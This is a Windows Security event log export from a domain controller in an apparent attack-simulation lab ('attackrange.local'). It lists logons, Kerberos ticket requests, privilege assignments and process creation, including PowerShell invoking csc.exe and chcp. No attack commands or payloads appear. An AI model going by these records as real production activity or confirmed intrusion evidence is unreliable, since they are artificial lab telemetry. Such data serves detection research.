- -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10C206 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64448 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250425 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C206 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250424 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C13C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250423 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10C13C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64447 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250422 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C13C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250500 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10F9EE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250499 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10E3F1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250498 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11034A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250497 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11034A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250496 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250495 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250494 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250493 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd64 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd7c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESB65C.tmp" "c:\Users\Administrator\AppData\Local\Temp\hmeaz2bd\CSC5A4A6FD7FE604C369FCAE59E0E8C17.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250492 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250491 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x135c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\hmeaz2bd\hmeaz2bd.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250490 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10F9EE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250489 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10F9EE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250488 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250487 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250486 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250485 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x135c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250484 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F8D9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250483 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10F8D9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64454 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250482 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F8D9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250481 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F878 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250480 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10F878 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64453 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250479 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F878 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - 